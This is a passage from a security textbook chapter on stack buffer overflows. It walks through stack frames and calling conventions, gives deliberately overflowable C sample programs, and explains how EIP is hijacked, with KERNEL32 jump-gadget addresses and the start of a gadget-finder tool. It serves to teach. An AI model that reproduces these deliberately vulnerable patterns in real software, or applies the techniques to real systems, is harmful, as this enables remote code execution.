dword_407038 mov [EBP+var_10], EDX xor EAX, EAX mov [EBP+var_C], ax mov [EBP+var_A], al ;set up preinitialized data in int1 mov [EBP+int1], 1 www.syngress.com Continued 248 Chapter 8 ¡E Buffer Overflow ;set up preinitialized data in int2 mov [EBP+int2], 2 ;put the return value in EAX mov EAX, 1 ;function epilogue mov ESP, EBP pop EBP retn _main endp As you can see in the function prologue of Figure 8.2, the old EBP is saved on the stack, and then the current EBP is overwritten by the address of our current stack.The purpose of this is that each function can get their own stack to use. Most, if not all functions perform this operation and the associated epilogue, which should be the exact reverse set of operations as the prologue. The Stack Dump Now, to show you what the stack looks like, we have issued a debugging breakpoint right after the stack is initialized.This allows us to see what the clean stack looks like, and to offer us an insight into what goes where in this code (see Figure 8.3). Figure 8.3 The Stack after Initialization 0012FF68 48 65 6C 6C Hell ;this is buffer 0012FF6C 6F 20 57 6F o Wo 0012FF70 72 6C 64 00 rld. 0012FF74 00 00 00 00 .... 0012FF78 02 00 00 00 .... ;this is int2 0012FF7C 01 00 00 00 .... ;this is int1 The ¡§Hello World¡¨ buffer is 16 bytes large, and each assigned integer is 4 bytes large.The numbers on the left of the hex dump are specific to this compile, and Windows rarely uses static stack addresses.This will be addressed further when we go over exploiting buffer overflows using jump points. One thing you www.syngress.com Figure 8.2 Continued Buffer Overflow ¡E Chapter 8 249 must keep in mind is that most compilers align the stack to 4-byte boundaries. This means that in Figure 8.1, 16 bytes are allocated by the compiler although only 15 bytes were requested in the code.This keeps everything aligned on 4- byte boundaries, which is imperative for processor performance, and many calls assume that this is the case. Oddities and the Stack There are many conditions that can change how the stack may look after initialization. Compiler options can adjust the size and alignment of supplied stacks, and optimizations can seriously change how the stack is created and accessed. As part of the prologue, some functions issue a push of some of the registers on the stack.This is optional and compiler- and function-dependant.The code can issue a series of individual pushes of specific registers or a pusha, which pushes all of the registers at once.This may adjust some of the stack sizes and offsets. Many modern C and C++ compilers will attempt to optimize code.There are numerous techniques to do this, and some of them may have a direct impact on the use of the stack and stack variables. For instance, one of the more common modern compiler optimizations is to forego using EBP as a reference into the stack, and to use direct ESP offsets.This can get pretty complex, but it frees an additional register for use in writing faster code.Another example where compilers may cause issues with the stack is if they force new temporary variables onto it.This will adjust offsets. Sometimes this happens in order to speed up some loops or for other reasons that the compiler decides are pertinent. One final issue that must be explained about compilers in relation to the stack is that there is a newer breed of stack protection compilers. Crispin Cowen¡¦s Immunix (www.immunix.com) project is based on such technology. It uses a modified GCC C compiler to generate new types of code that make it more dif- ficult to cause direct EIP overflows.Typically, they use a technique called canary values, where an additional value is placed on the stack in the prologue and checked for integrity in the epilogue.This ensures that the stack has not been completely violated to the point that the stored EIP or EBP value has been overwritten. Understanding the Stack Frame As was mentioned earlier, the stack serves two purposes.The purpose we¡¦ve examined so far is the storage of variables and data that are local to a function. Another purpose of the stack is to pass arguments into a called function.This part www.syngress.com 250 Chapter 8 ¡E Buffer Overflow of the chapter will deal with how compilers pass arguments on to called functions and how this affects the stack as a whole. In addition, it covers how the stack is used for call and ret operations on the processor. Introduction to the Stack Frame A stack frame is the name given the entire stack of a given function, including all of the passed arguments, the saved EIP and potentially any other saved registers, and the local function variables. Previously we focused on the stack¡¦s use in holding local variables, and now we will go into the ¡§bigger picture¡¨ of the stack. To understand how the stack works in the real world, a little needs to be explained about the Intel call and ret instructions.The call instruction is what makes functions possible.The purpose of this instruction is to divert processor control to a different part of code, while remembering where you need to return to.To achieve this goal, a call operates like this: 1. Push next instruction after the call onto the stack. (This is where the processor will return to after executing the function.) 2. Jump to the address specified by the call. Conversely, the ret instruction does the opposite. Its purpose is to return from a called function back to whatever was right after the call instruction.The ret instruction operates like this: 1. Pop the stored return address off the stack. 2. Jump to the address popped off the stack. This combination allows code to be jumped to, and returned from very easily. However, due to the location of the saved EIP on the stack, this also makes it possible to write a value there that will be popped off.This will be explained after getting a better understanding of the stack frame and how it operates. Passing Arguments to a Function: A Sample Program The sample program illustrated in this section shows how the stack frame is used to pass arguments to a function.The code simply creates some stack variables, fills them with values, and passes them to a function called callex.The callex function simply takes the supplied arguments and prints them to the screen. www.syngress.com Buffer Overflow ¡E Chapter 8 251 Figure 8.4 shows a program that explains how the stack is used in call and ret operations, as well as how the stack frame is organized. Figure 8.4 Sample Program Demonstrates How the Stack is Used in call and ret Operations /* Chapter 8 ¡V Sample 2 */ #include <stdlib.h> #include <stdio.h> int callex(char *buffer, int int1, int int2) { /*This prints the inputted variables to the screen:*/ printf("%s %d %d\n",buffer,int1, int2); return 1; } int main(int argc, char **argv) { char buffer[15]="Hello World"; /* a 10 byte character buffer */ int int1=1,int2=2; /* 2 4 byte integers */ callex(buffer,int1,int2); /*call our function*/ return 1; /*leaves the main func*/ } The Disassembly Figure 8.4 was also compiled as a console application in Release mode. Figure 8.5 shows a direct disassembly of the callex() and main() functions.This is to demonstrate how a function looks after it has been compiled. Notice how the buffer variable from main() is passed to callex by reference. In other words, callex gets a pointer to buffer, rather than its own copy.This means that anything that is www.syngress.com 252 Chapter 8 ¡E Buffer Overflow done to change buffer while in callex will also affect buffer in main, since they are the same variable. Figure 8.5 How a Function Looks after It Has Been Compiled _callex proc near buffer = dword ptr 8 int1 = dword ptr 0Ch int2 = dword ptr 10h ;function prologue push EBP mov EBP, ESP ;push 4th argument to printf (int2) mov EAX, [EBP+int2] push EAX ;push 3rd argument to printf (int1) mov ECX, [EBP+int1] push ECX ;push 2nd argument to printf (buffer) mov EDX, [EBP+buffer] push EDX ;push 1st argument to printf (format string) push offset aSDD ; "%s %d %d\n" ;call printf call _printf ;clean up the stack after printf add ESP, 10h ;set return value in EAX mov EAX, 1 ;function epilogue pop EBP ;return to main() retn _callex endp www.syngress.com Continued Buffer Overflow ¡E Chapter 8 253 _main proc near buffer = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_A = byte ptr -0Ah int2 = dword ptr -8 int1 = dword ptr -4 ;function prologue push EBP mov EBP, ESP sub ESP, 18h ;load "Hello World" into buffer mov EAX, dword_40703C mov [EBP+buffer], EAX mov ECX, dword_407040 mov [EBP+var_14], ECX mov EDX, dword_407044 mov [EBP+var_10], EDX xor EAX, EAX mov [EBP+var_C], ax mov [EBP+var_A], al ; load 1 into int1 mov [EBP+int1], 1 ;load 2 into int2 mov [EBP+int2], 2 ;push 3rd arg (int2) onto stack mov ECX, [EBP+int2] www.syngress.com Figure 8.5 Continued Continued 254 Chapter 8 ¡E Buffer Overflow push ECX ;push 2nd arg (int1) onto stack mov EDX, [EBP+int1] push EDX ;push 1st arg (buffer) onto stack lea EAX, [EBP+buffer] push EAX ;call callex (code is above) call _callex ; clean up after callex add ESP, 0Ch ;set return value in EAX mov EAX, 1 ;function epilogue mov ESP, EBP pop EBP ;return retn _main endp The Stack Dumps Figures 8.6 through 8.9 show what the stack looks like at various points during the execution of this code. Use the stack dump¡¦s output along with the C source and the disassembly to examine where things are going on the stack and why. This will help you better understand how the stack frame operates.We will show the stack at the pertinent parts of execution in the program. Figure 8.6 shows a dump of the stack right after the variables have been initialized, but before any calls and argument pushes have happened. It will describe the ¡§clean¡¨ stack for this function. www.syngress.com Figure 8.5 Continued Buffer Overflow ¡E Chapter 8 255 Figure 8.6 Stack Frame after Variable Initialization in Main 0012FF68 48 65 6C 6C Hell ; buffer 0012FF6C 6F 20 57 6F o Wo 0012FF70 72 6C 64 00 rld. 0012FF74 00 00 00 00 .... 0012FF78 02 00 00 00 .... ; int2 0012FF7C 01 00 00 00 .... ; int1 0012FF80 C0 FF 12 00 Ay.. ; saved EBP for main 0012FF84 5C 11 40 00 \.@. ; saved EIP to return out of main Next, three arguments are pushed onto the stack for the call to callex (see Figure 8.7). Figure 8.7 Stack Frame before Calling callex in Main 0012FF5C 68 FF 12 00 hy.. ; pushed buffer (arg1) 0012FF60 01 00 00 00 .... ; pushed int1 (arg2) 0012FF64 02 00 00 00 .... ; pushed int2 (arg3) 0012FF68 48 65 6C 6C Hell ; buffer 0012FF6C 6F 20 57 6F o Wo 0012FF70 72 6C 64 00 rld. 0012FF74 00 00 00 00 .... 0012FF78 02 00 00 00 .... ; int2 0012FF7C 01 00 00 00 .... ; int1 0012FF80 C0 FF 12 00 Ay.. ; saved EBP for main 0012FF84 5C 11 40 00 \.@. ; saved EIP to return out of main You may notice some overlap here.This is because after main()¡¦s stack finished, arguments issued to callex were pushed onto the stack. In the stack dump in Figure 8.8, we have repeated the pushed arguments so that you can see how they look to the function callex itself. Figure 8.8 Stack Frame after Prologue, before the printf in callex 0012FF54 80 FF 12 00 y.. ; saved EBP for callex function 0012FF58 6B 10 40 00 k.@. ; saved EIP to return to main 0012FF5C 68 FF 12 00 hy.. ; buffer (input arg1) www.syngress.com Continued 256 Chapter 8 ¡E Buffer Overflow 0012FF60 01 00 00 00 .... ; int1 (input arg2) 0012FF64 02 00 00 00 .... ; int2 (input arg3) The stack is now initialized for the callex function. All we have to do is push on the four arguments to printf then issue a call on it. Finally, before the printf in callex, with all of the values pushed on the stack, it looks like Figure 8.9. Figure 8.9 All of the Values Pushed on the Stack, before the printf in callex 0012FF44 30 70 40 00 0p@. ; pushed format string (arg1) 0012FF48 68 FF 12 00 hy.. ; pushed buffer (arg2) 0012FF4C 01 00 00 00 .... ; pushed int1 (arg3) 0012FF50 02 00 00 00 .... ; pushed int2 (arg4) 0012FF54 80 FF 12 00 y.. ; saved EBP for callex function 0012FF58 6B 10 40 00 k.@. ; saved EIP to return to main 0012FF5C 68 FF 12 00 hy.. ; buffer (arg1) 0012FF60 01 00 00 00 .... ; int1 (arg2) 0012FF64 02 00 00 00 .... ; int2 (arg3) This should give you a pretty solid understanding of the stack.This knowledge will help when we go on to explain techniques used to overflow the stack. Stack Frames and Calling Syntaxes There are numerous ways that functions can be called, and it makes a difference as to how the stack is laid out. Sometimes it is the caller¡¦s responsibility to clean up the stack after the function returns, other times the called function handles this.The type of call tells the compiler how to generate code, and it affects the way we must look at the stack frame itself. The most common calling syntax is C declaration syntax.A C-declared function is one in which the arguments are passed to a function on the stack in reverse order (with the first argument being pushed onto the stack last).This makes things easier on the called function, because it can pop the first argument off the stack first.When a function returns, it is up to the caller to clean up the stack based on the number of arguments it pushed earlier.This allows a variable number of arguments to be passed to a function, which is the default behavior www.syngress.com Figure 8.8 Continued Buffer Overflow ¡E Chapter 8 257 for MS Visual C/C++ generated code and the most widely-used calling syntax on many other platforms.This is sometimes known as cdecl calling syntax.A function that uses this call syntax is printf(), because a variable number of arguments can be passed to the printf function and printf handles them. After that, the caller cleans up after itself. The next most common calling syntax is the standard call syntax. Like the cdecl, arguments are passed to functions in reverse order on the stack. However, unlike cdecl calling syntax, it is up to the called function to readjust the stack pointers before returning.This is useful because it frees the caller from having to worry about this, and it can also save some code space as the code to readjust the stack is only in the function rather than residing everywhere the function is called. Almost the entire WIN32 API is written using the standard call syntax. It is sometimes known as stdcall. The third type of calling syntax is called fast call syntax. It is very similar to standard call syntax in that it is up to the called function to clean up after itself. It differs from standard call syntax, however, in the way arguments are passed to the stack. Fast call syntax states that the first two arguments to a function are passed directly in registers, meaning that they are not required to be pushed onto the stack and the called function can reference them directly using the registers in which they were passed. Delphi-generated code tends to use fast call syntax, and it is also a common syntax in the NT kernel space. Finally, there is one last calling syntax, called naked. In reality, this is the opposite of a calling syntax, as it removes all code designed to deal with calling syntaxes in a function and forces the function¡¦s programmer to deal with the details. Naked is rarely used, and when it is used, it¡¦s typically for a very good reason (such as supporting a very old piece of binary code). Learning about Buffer Overflows A buffer overflows when too much data is put into it.Think of a buffer as a glass of water; you can fill the glass until it is full, but any additional water added to that glass will spill over the edge. Buffers are much like this, and the C language (and its derivatives, like C++), offer many ways to cause more to be put into a buffer than was anticipated. The problem arises when taken into the context that we have laid out before. As you have seen, local variables can be allocated on the stack (see the 16-byte buffer variable from figures 8.1 and 8.4).This means that there is a buffer of a set size sitting on the stack somewhere. Since the stack grows down and there are www.syngress.com 258 Chapter 8 ¡E Buffer Overflow very important pieces of information stored there, what happens if you put more data into the stack allocated buffer than it can handle? Like the glass of water, it overflows! When 16 bytes of data are copied into the buffer from Figure 8.1, it becomes full.When 17 bytes get copied, one byte spills over into the area on the stack devoted to holding int2.This is the beginning of data corruption. All future references to int2 will give the wrong value. If this trend continues, and we put 28 bytes in, we control what EBP points to, at 32 bytes, we have control of EIP. When a ret happens and it pops our overwritten EIP and then jumps to it, we take control. After gaining control of EIP, we can make it point to anywhere we want, including code we have provided. The C language has a saying attributed to it:¡§We give you enough rope to hang yourself ¡¨. Basically, this means that with the degree of power over the machine that C offers, it has its potential problems as well. C is a loosely typed language, so there aren¡¦t any safeguards to make you comply with any data rules. Many buffer overflows happen in C due to poor handling of string data types. Table 8.1 shows some of the worst offenders in the C language.The table is by no means a complete table of problematic functions, but will give you a good idea of some of the more dangerous and common ones. Table 8.1 A Sampling of Problematic Functions in C Function Description char *strcpy( char *strDestination, This function will copy a string from const char *strSource ) strSource to strDestination char *strcat( char *strDestination, This function adds (concatenates) a string const char *strSource ) to the end of another string in a buffer int sprintf( char *buffer, const This function operates like printf, except char *format [, argument] ... ) this copies the output to buffer instead of printing to the stdout stream. char *gets( char *buffer ) Gets a string of input from the stdin stream and stores it in buffer In the next section, we will create a simple overflowable program and attempt to feed it too much data. Later, we will go over how to make the program execute code that does what we want it to do. www.syngress.com Buffer Overflow ¡E Chapter 8 259 A Simple Uncontrolled Overflow: A Sample Program The code shown in Figure 8.10 is a very simple example of an uncontrolled over- flow.This is not really exploitable, but still makes for a useful example.This demonstrates a more commonly made programming error, and the bad effects it can have on the stability of your program.The program simply calls the bof function. Once in the bof() function, a string of 20 As is copied into a buffer that can hold 8 bytes. What results is a buffer overflow.Notice that the printf in the main function will never be called, as the overflow diverts control on the attempted return from bof(). This should be complied as a Release build with no optimizations. Figure 8.10 A Simple Uncontrolled Overflow of the Stack /* chapter 8 - sample 3 This is a program to show a simple uncontrolled overflow of the stack. It is inteded to overflow EIP with 0x41414141, which is AAAA in ascii */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof() { char buffer[8]; /* an 8 byte character buffer */ /*copy 20 bytes of A into the buffer*/ strcpy(buffer,"AAAAAAAAAAAAAAAAAAAA"); /*return, this will cause an access violation due to stack corruption. We also take EIP*/ return 1; } www.syngress.com Continued 260 Chapter 8 ¡E Buffer Overflow int main(int argc, char **argv) { bof(); /*call our function*/ /*print a short message, execution will never reach this point */ printf("Not gonna do it!\n"); return 1; /*leaves the main func*/ } The Disassembly The disassembly in Figure 8.11 shows the simple nature of this program.Take special notice of how no stack variables are created for main, and how the buffer variable in bof() is used uninitialized. Sometimes this fact alone may cause problems and potential overflows in your code, depending on what is on the stack when the variable is created, and how it is used. It is recommended you use the memset or bzero functions to zero out stack variables before you use them. Figure 8.11 Disassembly of an Overflowable Program _bof proc near buffer = byte ptr -8 ;bof's prologue push EBP mov EBP, ESP ;make room on the stack for the local variables sub ESP, 8 ;push the second argument to strcpy (20 bytes of A) push offset aAaaaaaaaaaaaaa ; const char * ;push the first argument to strcpy (the local stack var, buffer) lea EAX, [EBP+buffer] www.syngress.com Figure 8.10 Continued Continued Buffer Overflow ¡E Chapter 8 261 push EAX ; char * ;call strcpy call _strcpy ;clean up the stack after the call add ESP, 8 ;set the return value in EAX mov EAX, 1 ;bof's epilogue mov ESP, EBP pop EBP ;return control to main retn _bof endp ; ||| S U B R O U T I N E ||| ; Attributes: bp-based frame _main proc near ;main's prologue push EBP mov EBP, ESP ;call our vulnerable function, bof call _bof ;push 1st arg to printf (static format string) push offset aNotGonnaDoIt ; "Not gonna do it!\n" ;call printf call _printf ;clean up after the stack add ESP, 4 www.syngress.com Figure 8.11 Continued Continued 262 Chapter 8 ¡E Buffer Overflow ;set the return value in EAX mov EAX, 1 ;main's epilogue pop EBP retn _main endp The Stack Dumps These stack dumps clearly show the progression of the program¡¦s stack and what happens in the event of an overflow. Although this time we chose not to directly control EIP, Figure 8.12 shows the concepts that will allow us to take complete control of it later, and use it to execute code of our choice. Figure 8.12 In main, pre Call to bof 0012FF80 C0 FF 12 00 Ay.. ; saved EBP for main 0012FF84 15 12 40 00 ..@. ; saved EIP for returning out of main Since there were no local variables in main, there isn¡¦t much to look at on the stack, just the stored EBP and EIP values from before main (Figure 8.13). Figure 8.13 In bof, pre strcpy Pushes 0012FF70 00 02 00 00 .... ; buffer, 8 bytes, no init, so it has 0012FF74 04 00 00 00 .... ; whatever was in there previously 0012FF78 80 FF 12 00 y.. ; saved EBP for bof 0012FF7C 28 10 40 00 (.@. ; saved EIP for returning out of bof We have entered bof and are before the pushes. Since we did not initialize any data in the buffer, it still has arbitrary values that were already on the stack (Figure 8.14). Figure 8.14 In bof, post strcpy Pushes, pre Call 0012FF68 70 FF 12 00 py.. ; arg 1 passed to strcpy. addr of buffer 0012FF6C 30 70 40 00 0p@. ; arg 2 passed to strcpy. addrof the A's 0012FF70 00 02 00 00 .... ; buffer, 8 bytes, no init, so it has www.syngress.com Figure 8.11 Continued Continued Buffer Overflow ¡E Chapter 8 263 0012FF74 04 00 00 00 .... ; whatever was in there previously 0012FF78 80 FF 12 00 y.. ; saved EBP for bof 0012FF7C 28 10 40 00 (.@. ; saved EIP for returning out of bof Now we have pushed the two arguments for strcpy onto the stack.The first argument points back into the stack at our variable buffer, and the second points to a static buffer containing 20 As. Figure 8.15 In bof, post strcpy (Compare to Figure 8.13) 0012FF70 41 41 41 41 AAAA ; buffer, 8 bytes, now A's 0012FF74 41 41 41 41 AAAA ; buffer continued 0012FF78 41 41 41 41 AAAA ; saved EBP for bof, now A's 0012FF7C 41 41 41 41 AAAA ; saved EIP for reting out of bof, now A's As you can see, all of the data on the stack have been wiped out by the strcpy. At the end of the bof function, the epilogue will attempt to pop EBP off the stack and will only pop 0x414141. After that, ret will try to pop off EIP and jump to it.This will cause an access violation since ret will pop 0x41414141 into EIP, and that points to an invalid area of memory (see Figure 8.16). Creating Your First Overflow Now that the general concept of buffer overflows has been examined, it is time to build our first overflow exploit. For the sake of simplicity and learning, this overflow will be clearly defined and exploitation of this overflow will be walked, www.syngress.com Figure 8.14 Continued Figure 8.16 Crash Window Showing Overwritten EIP and EBP 264 Chapter 8 ¡E Buffer Overflow step-by-step, to exploitation. For this example, a simple exploit will be written for both the Windows NT and Linux platforms. Creating a Program with an Exploitable Overflow First, our goal is to have an exploitable program and an understanding of how and why it is exploitable.The program we will be using is very similar to the last example; however, it will accept user input instead of using a static string. By doing this we can control where EIP takes us and what it will do. Writing the Overflowable Code The code presented in the following Figures (starting with Figure 8.17), is designed to read input from a file into a small stack-allocated variable.This will cause an overflow, and since we control the input in the file, it will provide us with an ideal learning ground to examine how buffer overflows can be exploited. The code here makes a call to the bof() function. Inside the bof() function, it opens a file named ¡§badfile¡¨. It then reads up to 1024 bytes from badfile and finally closes the file. If things add up, it should overflow on the return from bof(), giving us control of EIP based on our badfile.We will examine exploitation of this program on both Linux and Windows, giving you an example on each platform. Figure 8.17 A Program to Show a Simple Controlled Overflow of the Stack /* chapter 8 - sample 4 This is a program to show a simple controlled overflow of the stack. It is supposed to be paired with a file we will produce using an exploit program. For simplicity's sake, the file is hardcoded to badfile */ #include <stdlib.h> #include <stdio.h> int bof() { www.syngress.com Continued Buffer Overflow ¡E Chapter 8 265 char buffer[8]; /* an 8 byte character buffer */ FILE *badfile; /*open badfile for reading*/ badfile=fopen( "badfile", "r" ); /*this is where we overflow. Reading 1024 bytes into an 8 byte buffer is a "bad thing" */ fread( buffer, sizeof( char ), 1024, badfile ); /*return*/ return 1; } int main(int argc, char **argv) { bof(); /*call our function*/ /*print a short message, execution will never reach this point */ printf("Not gonna do it!\n"); return 1; /*leaves the main func*/ } Disassembling the Overflowable Code Since this program is so similar to the last one, we will forgo the complete disassembly. Instead, we will only show the dump of the new bof() function, with an explanation on where it is vulnerable (Figure 8.18). If fed a long file, the overflow will happen after the fread, and control of EIP will be gained on the ret from this function. www.syngress.com Figure 8.17 Continued 266 Chapter 8 ¡E Buffer Overflow Figure 8.18 Disassembly of Overflowable Code _bof proc near ; CODE XREF: _main+3p buffer = byte ptr -0Ch badfile = dword ptr -4 ;function prologue push EBP mov EBP, ESP sub ESP, 0Ch ;push "r", the 2nd argument to fopen. This tells fopen ;to open the file for reading push offset aR ; "r" ;push "r", the 1st argument to fopen. This tells fopen ;which file to open push offset aCBadfile ; "badfile" ;call fopen call _fopen ;correct the stack after the call add ESP, 8 ;set the local badfile variable to what fopen returned mov [EBP+badfile], EAX ;push the 4th argument to fread, which is the file handle ;returned from fopen mov EAX, [EBP+badfile] push EAX ;push the 3rd argument to fread. This is the max number ;of bytes to read push 400h ; push the 2nd argument to fread. This is the size of char push 1 ;push the 1st argument to fread. this is our local buffer lea ECX, [EBP+buffer] push ECX www.syngress.com Continued Buffer Overflow ¡E Chapter 8 267 ;call fread call _fread ;correct the stack after fread add ESP, 10h ;set the return value in EAX mov EAX, 1 ;function epilogue mov ESP, EBP pop EBP ;return to main retn _bof endp Stack Dump after the Overflow Since this program is focused on being vulnerable, we will show the stack after the fread. For a quick example, we have created a badfile that contained 20 As (see Figure 8.19).This generates a stack very similar to that of our last program, except this time we control the input buffer via the badfile. Remember that we have an additional stack variable beyond the buffer in the form of the file handle pointer. Figure 8.19 The Stack after the fread() Call 0012FF6C 41 41 41 41 AAAA ; buffer 0012FF70 41 41 41 41 AAAA 0012FF74 41 41 41 41 AAAA ; badfile pointer 0012FF78 41 41 41 41 AAAA ; saved EBP 0012FF7C 41 41 41 41 AAAA ; saved EIP Performing the Exploit After verifying the overflow using the sample badfile, we are ready to write our first set of exploits for this program. Since the supplied program is ANSI Cwww. syngress.com Figure 8.18 Continued 268 Chapter 8 ¡E Buffer Overflow compliant, it should compile cleanly using any ANSI C-compliant compiler. For our examples, we are using Visual C++ for Windows NT and GCC for Linux. We will begin with Linux exploitation, because it tends to be simpler.You will get to see the differences in the exploitation techniques you will need to use when attacking different platforms. General Exploit Concepts Exploitation under any platform requires a bit of planning and explanation.We have taken our overflows to the stage where we can control EIP.We must now understand what this allows us to do, and how we can take advantage of this situation to gain control of the machine. Once processor control is gained, you must choose where to divert control of the code. Usually, you will be pointing the EIP to code that you have written, either directly or indirectly.This is known as your payload.The payloads for this exploit are very simple, designed as proof-of-concept code to show that code of your choosing can be executed. More advanced payload designs are examined later in this chapter. Successful exploits have a few aspects in common.We will cover some general overview concepts that apply to most types of exploits. First, you need a way to inject the buffer.This means that you need a way to get your data into the buffer you want to overflow. Next, you will use a technique to leverage the controlled EIP to get your own code to execute.There are many ways to get the EIP to point at your code. Finally, you need a payload, or code that you want executed. Buffer Injection Techniques The first thing you need to do to create an exploit is to find a way to get your large buffer into the overflowable buffer.This is typically a simple process, automating filling a buffer over the network, or writing a file that is later read by the vulnerable process. Sometimes, however, getting your buffer to where it needs to be can be a challenge in itself. Optimizing the Injection Vector The military has a workable concept of delivery and payload, and we can use the same concept here.When we talk about a buffer overflow, we talk about the injection vector and the payload.The injection vector is the custom operational code (opcode) you need to actually control the instruction pointer on the remote www.syngress.com Buffer Overflow ¡E Chapter 8 269 machine.This is machine-and target-dependent.The whole point of the injection vector is to get the payload to execute.The payload, on the other hand, is a lot like a virus: it should work anywhere, anytime, regardless of how it was injected into the remote machine. If your payload does not operate this way, it is not clean. If you wrote buffer overflows for the military, they would want clean payloads, and that is a good approach to take to your code. Let¡¦s explore what it takes to code a clean payload. Determining the Location of the Payload Your payload does not have to be located in the same place as your injection vector; commonly, it is just easier to use the stack for both.When you use the stack for both payload and injection vector, however, you have to worry about the size of payload and how the injection vector interacts with the payload. For example, if the payload starts before the injection vector, you need to make sure they don¡¦t collide. If they do, you have to include a jump in the payload to jump over the injection code ¡X then the payload can continue on the other side of the injection vector. If these problems become too complex, then you need to put your payload somewhere else. All programs will accept user input and store it somewhere.Any location in the program where you can store a buffer becomes a candidate for storing a payload. The trick is to get the processor to start executing that buffer. Some common places to store payloads include: Files on disk which are then loaded into memory Environment variables controlled by a local user Environment variables passed within a Web request (common) User-controlled fields within a network protocol Once you have injected the payload, the task is simply to get the instruction pointer to load the address of the payload.The beauty of storing the payload somewhere other than the stack is that amazingly tight and difficult-to-exploit buffer overflows suddenly become possible. For example, you are free from constraints on the size of the payload. A single off-by-one error can still be used to take control of a computer. www.syngress.com 270 Chapter 8 ¡E Buffer Overflow Methods to Execute Payload The following sections explain the variety of techniques that can be used to execute payload.We focus on ways to decide what to put into the saved EIP on the stack to make it finally point to our code.Often, there is more to it than just knowing the address our code is at, and we will explore techniques to find alternate, more portable ways. Direct Jump (Guessing Offsets) The direct jump means that you have told your overflow code to jump directly to a specific location in memory. It uses no tricks to determine the true location of the stack in memory.The downfalls of this approach are twofold. First, the address of the stack may contain a null character, so the entire payload will need to be placed before the injector. If this is the case, it will limit the available space for your payload. Second, the address of your payload is not always going to be the same.This leaves you guessing the address to you wish to jump.This technique, however, is simple to use. On UNIX machines, the address of the stack often does not contain a null character, making this the method of choice for UNIX overflows. Also, there are tricks that make guessing the address much easier. (See the ¡§NOP Sled¡¨ section later in the chapter.) Lastly, if you place your payload somewhere other than on the stack, the direct jump becomes the method of choice. Blind Return The ESP register points to the current stack location.Any ret instruction will cause the EIP register to be loaded with whatever is pointed to by the ESP.This is called popping. Essentially the ret instruction causes the topmost value on the stack to be popped into the EIP, causing the EIP to point to a new code address. If the attacker can inject an initial EIP value that points to a ret instruction, the value stored at the ESP will be loaded into the ESI. A whole series of techniques use the processor registers to get back to the stack.There is nothing you can directly inject into the instruction pointer that will cause a register to be used for execution as shown in Figure 8.20. Obviously, you must make the instruction pointer point to a real instruction as shown in Figure 8.21. www.syngress.com Buffer Overflow ¡E Chapter 8 271 Pop Return If the value on the top of the stack does not point to an address within the attacker¡¦s buffer, the injected EIP can be set to point to a series of pop instructions, followed by a ret as shown in Figure 8.22.This will cause the stack to be popped a number of times before a value is used for the EIP register.This works if there is an address near the top of the stack that points to within the attacker¡¦s buffer.The attacker just pops down the stack until the useful address is reached. This method was used in at least one public exploit for Internet Information Server (IIS). www.syngress.com Figure 8.20 The Instruction Pointer Cannot Go Directly to a Register Stack Register Register Injected Address Register CPU Instruction Pointer Figure 8.21 The Instruction Pointer Must Point to a Real Instruction Stack Register Register Injected Address Register CPU PUSH EAX RET or CALL EAX Instruction Pointer 272 Chapter 8 ¡E Buffer Overflow - pop EAX 58 - pop EBX 5B - pop ECX 59 - pop EDX 5A - pop EBP 5D - pop ESI 5E - pop EDI 5F - ret C3 Call Register If a register is already loaded with an address that points to the payload, the attacker simply needs to load the EIP to an instruction that performs a ¡§call EDX¡¨ or ¡§call EDI¡¨ or equivalent (depending on the desired register). - call EAX FF D0 - call EBX FF D3 - call ECX FF D1 - call EDX FF D2 - call ESI FF D6 - call EDI FF D7 - call ESP FF D4 A search of process memory found the following useful pairs (in KERNEL32.DLL): www.syngress.com Figure 8.22 Using a Series of pops and a ret To Reach a Useful Address Popped Stack (Gone) POP POP RET Register Register Injected Address Register CPU Instruction Pointer Stack Buffer Overflow ¡E Chapter 8 273 77F1A2F7 FF D0 call EAX 77F76231 FF D0 call EAX 7FFD29A7 FF D0 call EAX ; a whole block of this pattern exists 7FFD2DE3 FF E6 jmp ESI ; a whole block of this pattern exists 7FFD2E27 FF E0 jmp EAX ; a whole block of this pattern exists 77F3D793 FF D1 call ECX 77F7CEA7 FF D1 call ECX 77F94510 FF D1 call ECX 77F1B424 FF D3 call EBX 77F1B443 FF D3 call EBX 77F1B497 FF D3 call EBX 77F3D8F3 FF D3 call EBX 77F63D01 FF D3 call EBX 77F9B14F FF D4 call ESP 77F020B0 FF D6 call ESI 77F020D5 FF D6 call ESI 77F02102 FF D6 call ESI 77F27CAD FF D6 call ESI 77F27CC2 FF D6 call ESI 77F27CDB FF D6 call ESI 77F01089 FF D7 call EDI 77F01129 FF D7 call EDI 77F01135 FF D7 call EDI These pairs can be used from almost any normal process. Since these are part of the kernel interface DLL, they will normally be at fixed addresses, which you can hard-code. However, they will likely differ between Windows versions of, and possibly depending on which Service Pack is applied. Push Return Only slightly different from the Call Register method, the Push Return method also uses the value stored in a register. If the register is loaded but the attacker cannot find a call instruction, another option is to find a ¡§push <register>¡¨ followed by a return. - push EAX 50 - push EBX 53 www.syngress.com 274 Chapter 8 ¡E Buffer Overflow - push ECX 51 - push EDX 52 - push EBP 55 - push ESI 56 - push EDI 57 - ret C3 Kernel32.DLL contains the following useful pairs: 77F3FD18 push EDI 77F3FD19 ret (?) 77F8E3A8 push ESP 77F8E3A9 ret Findjmp¡XFinding Useful Jump Points We have written a small program (Figure 8.23) that takes a DLL and a register name from the command line and searches the DLL for any useable address that contains a redirection to that register. It supports Push Return, Call Register, and Jump Register. This finds useful jump points in a DLL. Once you overflow a buffer, it is likely that you will find a reference to your code by looking in the various registers. This program will find addresses suitable to overwrite the EIP that will return to your code. It should be easy to modify this to search for other good jump points, or specific code patterns within a DLL. It currently supports looking for: 1. jmp reg 2. call reg 3. push reg / ret All three options result in the same thing: the EIP being set to reg. It also supports the following registers: EAX EBX www.syngress.com Buffer Overflow ¡E Chapter 8 275 ECX EDX ESI EDI ESP EBP This should be compiled as a console application under and WIN32 environment, the complete application can be found on the Solutions site for this book (www.syngress.com/solutions). Figure 8.23 Findjmp.c /* Findjmp.c written by Ryan Permeh - ryan@eeye.com http://www.eeye.com */ #include <Windows.h> #include <stdio.h> void usage(); DWORD GetRegNum(char *reg); void findjmp(char *dll,char *reg); /*This finds useful jump points in a dll. Once you overflow a buffer, by looking in the various registers, it is likely that you will find a reference to your code. This program will find addresses of suitable instructions that will return to your code. */ int main(int argc, char **argv) { char dll[512], //holder for the dll to look in reg[512]; // holder for the register www.syngress.com Continued 276 Chapter 8 